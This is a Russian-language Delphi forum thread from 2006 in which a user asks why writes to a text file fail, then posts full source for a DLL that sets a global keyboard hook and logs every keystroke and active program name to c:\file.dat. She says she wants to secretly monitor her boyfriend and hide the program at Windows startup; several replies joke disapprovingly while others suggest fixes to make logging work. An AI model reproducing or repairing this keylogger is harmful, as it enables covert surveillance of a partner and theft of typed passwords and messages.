![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Запись в текстовый файл [D7, WinXP]
Tanya © (2006-07-26 21:33:00)Что-то я никак не пойму почему не работает запись в файл... Делаю я так:
var
F: TextFile;
при запуске программы:
AssignFile(F, 'file.dat');
if FileExists('file.dat') then
Append(F)
else
Rewrite(F);
при закрытии программы:
CloseFile(F);
во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):
WriteLn(F, 'test');
Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..
Джо (2006-07-26 22:23:00) [81]Самое простое — открывать файл для записи, делать запись и закрывать файл прямо в SysMsgProc.
Tanya (2006-07-26 22:21:00) [82]Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто хочу сделать ее незаметной, функции из библиотеки прописать на события запуска и выключения Windows-а в реестре..
Мефисто (2006-07-26 22:17:00) [83]
> хочу проверить своего парня...)))
Подгялдывать, не хорошо!...
Ералаш (с)
tesseract (2006-07-26 22:08:00) [84]> [8] Tanya (26.07.06 22:04)
в DLL общие переменные плохо храняться. Прокисают.
Вот и вся проблема.
Лучше запускать отдельно сервис и в него передавать через WM_COPYDATA данные перехвата из DLL.
ЗЫ: Лучше парню поесть приготовьте получше - он оценит.
Tanya (2006-07-26 22:04:00) [85]Хорошо Джо, буду писать в "Начинающим"..)) Выкладываю весь код:
Программа:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, XPMan, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
XPManifest1: TXPManifest;
procedure Button1Click(Sender: TObject);
end;
var
Form1: TForm1;
procedure RunHook; stdcall; external 'MyLib.dll' index 1;
procedure StopHook; stdcall; external 'MyLib.dll' index 2;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
if Button1.Caption = 'Run' then
begin
Button1.Caption := 'Stop';
RunHook;
end
else
if Button1.Caption = 'Stop' then
begin
StopHook;
Button1.Caption := 'Run';
end;
end;
end.
Библиотека:
library MyLib;
uses
Windows, Messages, Dialogs, SysUtils;
var
F: TextFile;
SysHook: HHook = 0;
function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
ModuleFileName: array[0..MAX_PATH-1] of Char;
KeyBS: TKeyboardState;
pTransChar : PChar;
begin
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyBoardState(KeyBS);
GetMem(pTransChar, 3);
ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));
WriteLn(F, ModuleFileName);
WriteLn(F, pTransChar^);
FreeMem(pTransChar);
Result := 0;
end
else
Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;
procedure RunHook; export; stdcall;
begin
AssignFile(F, 'c:\file.dat');
if FileExists('c:\file.dat') then
Append(F)
else
Rewrite(F);
SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;
procedure StopHook; export; stdcall;
begin
UnHookWindowsHookEx(SysHook);
SysHook := 0;
CloseFile(F);
end;
exports
RunHook index 1,
StopHook index 2;
P.S. Часть текста скопиравана с http://delphimaster.ru/cgi-bin/forum.pl?id=1153923540&n=18 Идея понравилась, хочу проверить своего парня...)))
Мефисто (2006-07-26 21:47:00) [86]По F1
var
f: TextFile;
begin
if OpenDialog1.Execute then
begin { open a text file }
AssignFile(f, OpenDialog1.FileName);
Append(f);
Writeln(f, 'I am appending some stuff to the end of the file.');
{ insert code here that would require a Flush before closing the file }
Flush(f); { ensures that the text was actually written to file }
CloseFile(f);
end;
end;
Джо (2006-07-26 21:43:00) [87]П.С. Во избежание дальнейших недоразумений, Татьяна, рекоммендую впредь подобные вопросы сразу постить в конференции "Начинающим".
Джо (2006-07-26 21:42:00) [88]Телепатор, честное слово, сдал в починку :)
Если есть желание выложить куда-нибудь полный код (или сразу проект, если он не велик и не содержит сторонних компонентов) , то обещаю посмотреть на него.
Calibr (2006-07-26 21:40:00) [89]Попробуй сделать так:
AssignFile(f, ExtractFilePath(Application.ExeName) + 'file.dat');
должно получиться!!!
Tanya (2006-07-26 21:40:00) [90]Я попробовала выводить сообщение еще в программе после строки
WriteLn(F, 'test');так вот почему-то оно не выводится, такое ощущение что программа останавливается на этой строке...
Tanya (2006-07-26 21:38:00) [91]Всеравно пустой...((( Может это из за того что я все это сделала в библиотеке? Вроде без разнице где...
Джо (2006-07-26 21:34:00) [92]Предлагаю попробовать передавать в AssignFile полное имя файла с путем.